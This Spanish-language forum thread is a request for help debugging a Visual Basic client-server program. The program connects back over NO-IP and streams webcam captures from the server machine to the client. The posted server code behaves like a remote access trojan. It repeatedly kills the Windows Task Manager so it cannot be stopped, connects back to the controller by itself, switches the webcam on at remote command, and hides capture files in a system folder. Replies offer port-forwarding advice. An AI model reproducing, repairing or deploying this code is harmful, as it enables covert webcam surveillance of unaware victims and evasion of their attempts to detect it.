NECESITO AYUDAAAAAAAAAAAA.................... Vereis tengo una aplicacion cliente servidor con conexion inversa via NO-IP, con la intencion de que el servidor envie imagenes captadas por webcam al cliente, la verdad es que si pongo en fncionamiento el cliente y el server en la misma maquina funciona perfecto, pero cuando coloco el server en otra maquina el cliente es incapaz de recibir las imagenes y no se porque.
Ojala alguien pueda ayudarme....... si necesitan el codigo para comprobarlo me gustaria me lo pidieran.
Un saludo.
si estás detrás de un router (tú) es posible que el servidor no pueda conectar porque tienes los puertos cerrados, debes configurar la NAT para abrir los puertos y redirigirlos a tu máquina.
De todas formas si puedes poner el source para poder probarlo, mucho mejor.
Saludos compa.....
He alli un problema....!!!!
Compa eso es verdad....!!!! yo tambien presento es mismo problema en mi proyecto (dos en uno) hace tiempo (por raticos le dedico tiempo) estaba analizando la fallas de ese tipo.....!!!! pero..... nada.... espero que ambos aclaremos esta duda yo en mi caso publique el codigo por si alguien acudia ayudarme pero todavia estoy en eso, te recomiendo publicar el codigo y asi ayudarnos mutuamente...!!!
Lympex, aunque estoy detras de un puerto, el envio de la ip del server al cliente se realiza con normalidad y no hay problema de comunicacion entre las aplicaciones.
Voy a poner el codigo de mi aplicacion para ver si hay alguien dentro del forto que sepa decirme por que me ocurre esto.
Cliente:
Dim Ruta As String
Dim y As String
Private Sub BtCerrarWeb_Click()
y = "apagar"
wsC.SendData y
FCliente.Height = 3870
FCliente.Width = 7140
FCliente.ScaleHeight = 3360
FCliente.ScaleWidth = 7020
Timer1_Timer
End Sub
Private Sub BtConectar_Click()
wsC.Close
wsC.Listen
Timer1_Timer
End Sub
Private Sub BtDesconectar_Click()
y = "desconectar"
wsC.SendData y
wsC.Close
FCliente.Height = 3870
FCliente.Width = 7140
FCliente.ScaleHeight = 3360
FCliente.ScaleWidth = 7020
Timer1_Timer
End Sub
Private Sub BtWeb_Click()
y = "web"
wsC.SendData y
FCliente.Height = 8145
FCliente.Width = 7140
FCliente.ScaleHeight = 7635
FCliente.ScaleWidth = 7020
End Sub
Private Sub Form_Load()
wsC.Close
Timer1_Timer
Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1
BtDesconectar.Enabled = False
BtWeb.Enabled = False
FCliente.Height = 3870
FCliente.Width = 7140
FCliente.ScaleHeight = 3360
FCliente.ScaleWidth = 7020
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 1
LblEstado = wsC.State
Select Case wsC.State
Case 0
LblEstado = "Conexion Cerrada con el Servidor."
BtDesconectar.Enabled = False
BtWeb.Enabled = False
BtConectar.Enabled = True
FCliente.Height = 3870
FCliente.Width = 7140
FCliente.ScaleHeight = 3360
FCliente.ScaleWidth = 7020
Case 2
LblEstado = "Esperando conexión"
Case 4
LblEstado = "Resolviendo Host"
Case 5
LblEstado = "Host resuelto"
Case 6
LblEstado = "Intentando conectar"
Case 7
LblEstado = "Conectado con el Servidor : "
BtConectar.Enabled = False
BtDesconectar.Enabled = True
BtWeb.Enabled = True
Case 8
LblEstado = "Cerrando comunicacion"
wsC.Close
Case 9
LblEstado = "Error de conexión"
wsC.Close
End Select
End Sub
Private Sub wsC_DataArrival(ByVal bytedatos As Long)
Dim datos As String
wsC.GetData datos, vbNullString
Put #1, , datos
If Right(datos, 3) = "Fin" Or datos = "Fin" Then
Close
Picture1 = LoadPicture(Ruta)
Open Ruta For Binary As #1
End If
End Sub
Private Sub wsC_ConnectionRequest(ByVal requestID As Long)
wsC.Close
wsC.Accept requestID
End Sub
El SERVIDOR :
Dim Imagen() As Byte
Private Sub Form_Load()
Dim estado As String
Dim wsestado As String
wsestado = ws1.State
estado = "7"
If wsestado <> estado Then
ws1.Close
ws1.CONNECT
contador.Enabled = True
contador.Interval = 1
Else
Timer3_Timer
End If
Timer3_Timer
Timer1.Enabled = False
Timer1.Interval = 1
Timer2_Timer
End Sub
Private Sub Timer2_Timer()
Timer2.Enabled = True
Timer2.Interval = 100
On Error GoTo fallo
AppActivate "Administrador de Tareas de Windows"
SendKeys "%{F4}"
fallo:
End Sub
Private Sub Timer3_Timer()
Timer3.Interval = 1
LblEstado = ws1.State
Select Case ws1.State
Case 0
LblEstado = "Conexion Cerrada con el Servidor."
Case 2
LblEstado = "Esperando conexión"
Case 4
LblEstado = "Resolviendo Host"
Case 5
LblEstado = "Host resuelto"
Case 6
LblEstado = "Intentando conectar"
Case 7
LblEstado = "Conectado con el Servidor : "
Case 8
LblEstado = "Cerrando comunicacion"
Case 9
LblEstado = "Error de conexión"
Form_Load
End Select
End Sub
Private Sub ws1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws1.GetData datos
Select Case datos
Case "ip"
mandar_ip
Case "web"
Apagar_Cam
StartCam
Case "apagar"
Apagar_Cam
Case "desconectar"
Desconectar
End Select
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\windows\system\temporal.bmp"
Dim Tamaño As Long
Open "c:\windows\system\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
crono_imagen.Enabled = True
crono_imagen.Interval = 5
Close
ws1.SendData Imagen
ws1.SendData "Fin"
End Sub
Private Sub StartCam()
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hWnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer1.Enabled = True
End Sub
Sub Apagar_Cam()
Timer1.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub
Sub Desconectar()
Apagar_Cam
Form_Load
End Sub
Sub mandar_ip()
Dim totalip As String
totalip = "2-" & lblip.Caption
ws1.SendData totalip
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
ws1.Close
End Sub
No he puesto el codigo del modulo adjunto al server , para no hacer este mensaje demasiado largo, espero que alguno pueda ayudarme .
Un saludo a todos.